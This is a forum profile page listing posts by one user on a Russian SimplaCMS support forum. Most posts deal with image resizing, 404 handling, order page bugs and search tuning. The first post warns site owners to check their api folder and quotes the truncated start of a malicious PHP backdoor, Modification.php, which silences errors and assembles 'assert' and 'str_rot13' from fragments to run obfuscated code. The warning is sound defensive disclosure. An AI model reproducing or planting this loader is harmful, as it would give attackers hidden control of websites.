Jump to content

Dmitry86

Пользователь
  • Content Count

    192
  • Joined

  • Last visited

Everything posted by Dmitry86

  1. Всем добрый день. Хочу предупредить пользователей SimplaCMS- проверьте свою папку api на предмет наличия нестандартных или зашифрованных скриптов. В качестве примера приведу скрипт Modification.php следующего содержания: <?php @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $s
  2. Обновил ссылку на архив с файлами: https://cloud.mail.ru/public/LyHe/YYc283Xzy
  3. Ошибся. Изображения в админке пропадают из-за настроек в clodflare (потом появляются), а вот новые изображения не ресайзятся..
  4. Короче, если раскомментировать это, то в админке пропадают все изображения товаров, просто белый фон. И не загружаются новые изображения..
  5. Странно, но в изначальном решении https://forum.simplacms.ru/topic/8424-убираем-токен-из-адреса-изображения/ этот код закомментирован.... Если его раскомментировать, то несуществующие изображения снова начинают отдавать ответ 200 и "bad token". У меня есть ещё самописный файлик, ресайзер, который на кроне автоматом должен ресайзить изображения для карточек товаров, по которым ещё не прошелся пользователь, выглядит следующим образом: <?php //ini_set('display_errors', 1); chdir(dirname(__FILE__).'/'); require_once('api/Simpla.php'); $simpla = new Simpla(); ###################
  6. api/Image.php <?php /** * Simpla CMS * * @copyright 2011 Denis Pikusov * @link http://simplacms.ru * @author Denis Pikusov * */ require_once('Simpla.php'); class Image extends Simpla { private $allowed_extentions = array('png', 'gif', 'jpg', 'jpeg', 'ico'); public function __construct() { parent::__construct(); } /** * Создание превью изображения * @param $filename файл с изображением (без пути к файлу) * @param max_w максимальная ширина * @param max_h максимальная высота * @return $string имя файла превью */ function resize($filename,$brands ='')
  7. Ребят, помогите найти ошибку. На сайте изображения ресайзятся через ImageMagick. Ссылки на изображения без токенов. Если удалить изображение из товара, и обратиться к нему по той ссылке, по которой оно раньше было доступно, то сервер сваливается с ошибкой 500, а по идее должен либо 404 либо 403 отдавать (?) Строка 338 это: if(!$thumb->readImage($src_file)) в функции: private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2, $strict=null) { $thumb = n
  8. Кстати, тут ещё можно добавить удаление всяких get-параметров, если нужно или они были раньше в ссылках: $uri = trim(strtok($_SERVER['REQUEST_URI'], '?'), '/');
  9. https://cloud.mail.ru/public/3GgG/vGbnbuykt Возможно, вам потребуется вносить правки в зависимости от того, как у вас настроены общие редиректы в .htaccess Не знаю, как было изначально задумано, но в админке я вношу url в следующем виде: Откуда: catalog/razdel-1 Куда: /catalog/razdel Именно так, и слэш в новом ur; должен стоять в начале. Думаю, разберетесь)
  10. Разве вот этот код из CartView.php не должен отдавать 404? if(!$order) return false;
  11. У меня были кое-какие доработки, сейчас в index.php кусок кода с 404 выглядит так: // Если все хорошо if(($res = $view->fetch()) !== false) { // Выводим результат header("Content-type: text/html; charset=UTF-8"); if($view->last_modified) { $LastModified_unix = strtotime($view->last_modified); // время последнего изменения страницы $LastModified = gmdate("D, d M Y H:i:s \G\M\T", $LastModified_unix); $IfModifiedSince = false; if (isset($_ENV['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5)); if (isse
  12. Здравствуйте. Обнаружил странный баг на странице заказа. Допустим, есть оформленный заказ, который открывается по ссылке site.com/order/395b4c2943b1735832bab94bf8eede55 Если удалить этот заказ в админке и обновить в браузере страницу с заказом, то на страницу начнут выгружаться списком все товары из ранее оформленных заказов с ценами. Подскажите, как исправить? В файле CartView.php функция вывода выглядит так: function fetch_order() { if($url = $this->request->get('url', 'string')) $order = $this->orders->get_order((string)$url); elseif(!empty
  13. Ни у кого не найдётся архива с файлами для этого решения?
  14. Тогда такой вопрос: поиск ведь понимает, что тире в запросе AB012 1 нет, но выдает конкретный товар с тире. обратную ситуацию можно сделать? Когда в запросе есть тире, а в названии товара нет тире? Но поиск выдаст нужный резльтат.
  15. Обратил внимание, на следующую вещь: есть товары в названии которых содержится текст вида AB012-* (AB012-1, AB012-2 и AB012-3). Если в строке поиска набрать AB012 1 без тире, то живой поиск предложит все три товара (AB012-1, AB012-2 и AB012-3), но если сделать post-запрос, то на новой странице открывается конкретный товар AB012-1 В каком месте учитывается это тире при post-запросе?
  16. Если говорить о "живом" поиске. По мере набора текста, когда появляются выпадающие предложения. Беру ваш пример: товар называется 'дом кота'. Пользователь набирает: 'домкота' или 'дом-кота', ему предлагается перейти в товар 'дом кота'. Соответсвенно вариации могут быть разные, например, товар называется 'дом-кота'. Пользователь может набирать 'дом кота' или 'домкота', то ему нужно показать 'дом кота'.
  17. Здравствуйте! Пытаюсь подключить кредитование от Тинькофф, инструкции отсюда https://forma.tinkoff.ru/docs/credit/examples/ Код в отдельном файле credit.tpl такой: <div class="credit-form-submit btn btn-order">Оформить в <span>кредит</span></div> <script type="text/javascript"> $('.credit-form-submit').on('click',function(){ tinkoff.createDemo( { sum: 100500, items: [{name: 'iphone 11', price: 100000, quantity: 1}, {name: 'Чехол', price: 500, quantity: 1}], demoFlow: 'sms', promoCode: 'installment_0_0_6_6',
  18. Извините, не знаю, как ещё объяснить... Вроде, с примерами написал, что хотел бы увидеть.. Давайте по-другому попробую: живой поиск должен искать только буквы и цифры при наборе текста в строке поиска. Вводимые пользователем символы "пробел" и "тире" он должен игнорировать.
  19. Видимо его я имею ввиду, потому что интересует именно та часть, когда при вводе в строку поиска выпадают предложения с найденным товарами. Если я правильно понимаю, то эта часть относится к JS. В живом поиске можно не учитывать вводимые пробелы? То есть, независимо от того, как указано в названии товара, допустим 'AB30' или 'AB 30' или 'A B-30', то его можно найти даже указав с пробелами, без тире, или с тире в другом месте, например: 'AB 30' или 'A B30', или хоть 'A B-3 0'.
  20. Благодарю за ответ. Тут чисто технически, скорее всего, проще убирать все пробелы из названия товара при выборке и из строки поиска, и потом сравнивать их. Разве в этом случае я не получу желаемый результат? Независимо от того, что введет пользователь в строку поиска, с пробелом или без, нужно ему показать тот товар, у которого в названии есть вхождение искомого запроса с пробелами или без оных. Не важно, что имел ввиду пользователь, важно, чтобы набор этих символов был найден в названии товара, ведь 'abc defgh' и 'ab cdefgh', ведь, с точки зрения машины, будет = abcdefgh, если в названи
  21. Добрый день! Подскажите, как сделать, чтобы в поиске не учитывались пробел(ы) и тире? Например, есть товар, в котором сдержится название модели AB 30 с пробелом. Если в поиске забивать AB30 без пробела, то он не показывает этот товар сразу. То есть чтобы найти нужные товары нужно задать поиск именно с пробелом. И обратная ситуация, когда в названии товара может быть указано AB30 без пробела, а пользователь скопировал с другого сайта с пробелом и пытается найти этот товар. Получается он вставил в строку поиска или набрал руками AB 30 и не находит товар, хотя он есть. Аналогично с
×
×
  • Create New...